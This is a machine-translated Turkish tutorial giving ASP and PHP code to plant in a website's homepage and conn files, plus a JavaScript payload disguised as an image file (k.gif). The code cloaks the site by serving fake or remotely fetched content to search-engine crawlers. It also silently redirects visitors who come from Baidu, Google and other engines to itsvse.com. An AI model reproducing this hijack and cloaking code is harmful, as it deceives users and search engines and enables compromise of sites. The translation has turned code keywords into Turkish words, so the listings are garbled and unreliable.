Öncelikle, basit, ana sayfaya aşağıdaki kodu ekleyin:
ASP versiyonu <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
PHP versiyonu <!--#include file="conn.php"--> <script src="images\k.gif"></script>
Sonra web sitesinin programına göre conn dosyasına şu kodu ekleyin, eğer conn.asp veya conn.php yoksa kendiniz oluşturun:
conn.asp baskısı
----------- aşağıdaki çoğaltma-------------------------------- <% fonksiyon isspider() dim agent,searray,i agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("Googlebot","baiduspider","sogou","yahoo","soso","360spider") isspider= false i=0 için ubound(searray) için if (instr(agent,searray(i))>0) o zaman isspider=true Sıradaki Son fonksiyon
fonksiyon fromse() dim URLREFER,i,searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) fromse= yanlış urlrefer="" o zaman fromse= false searray=array("Google","baidu","sogou","yahoo","soso","360") i=0 için ubound(searray) için Eğer (instr(URLrefer,Searray(i))>0) o zaman fromse=true Sıradaki Son fonksiyon
function gethttp(URL) dim http set http=createobject("MSXML2. XMLHTTP") http.open "GET",url,false http.send() eğer Http.readystate<>4 ise Çıkış fonksiyonu biter if gethttp=bytes2BSTR(Http.responseBody) ayar http=hiçbir şey Eğer err.number<>0 o zaman err. Temiz Son fonksiyon
function bytes2BSTR(vIn) dim strReturn dim i,ThisCharCode,NextCharCode strReturn = "" i = 1 LenB(vIn)'e ThisCharCode = AscB(MidB(vIn,i,1)) Eğer ThisCharCode < &H80 ise, o zaman strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Sona Et Sıradaki bytes2BSTR = strReturn Son fonksiyon
if(isspider()) o zaman DIM myfso,fileurl,filecon,myfile,bodyurl,remotehtml bodyurl="http://www.itsvse.com" //snapshot URL yanıt.temiz remotehtml=gethttp(bodyURL) response.write(remotehtml) response.write("<!--"&now()&"-->") response.flush response.end biter if
%>
conn.php
---------------- sonraki çoğaltma----------------
<?php function is_search_bot(){ $user_ajan = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = dizi('baiduspider','sogou spider','sosospider','iaskspider','naverrobot'); foreach ($identify AS $key => $tag){ if (strstr($user_agent, $tag)){ True döner; } } yanlış döndür; } fonksiyon is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = patlama("@",$come_from); foreach($referer as $url){ if (stristr($_SERVER['HTTP_REFERER'],$url)){ True döner; } } yanlış döndür; }
if (is_search_bot()) { $html = "<title>Wuhan Yazılım Mühendisliği Meslek Koleji</title> <meta name=\"Yazar\" content=\"Anahtar kelimelerle aynı şekilde doldur\"> <meta name=\"Anahtar kelimeler\" content=\"Anahtar kelimeler\"> <meta name=
\"Açıklama\" content=\"Açıklama\"> </head> <body>İçerik</body></html>"; Echo $html; } if (!is_search_bot() & & is_urlbaidu())
{ Başlık('Konum:http://www.itsvse.com');
} ?>
Son olarak, resim dizinine kodu k.gif bir k.gif dosyası yükleyin:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; Yönlendirme URL'si
|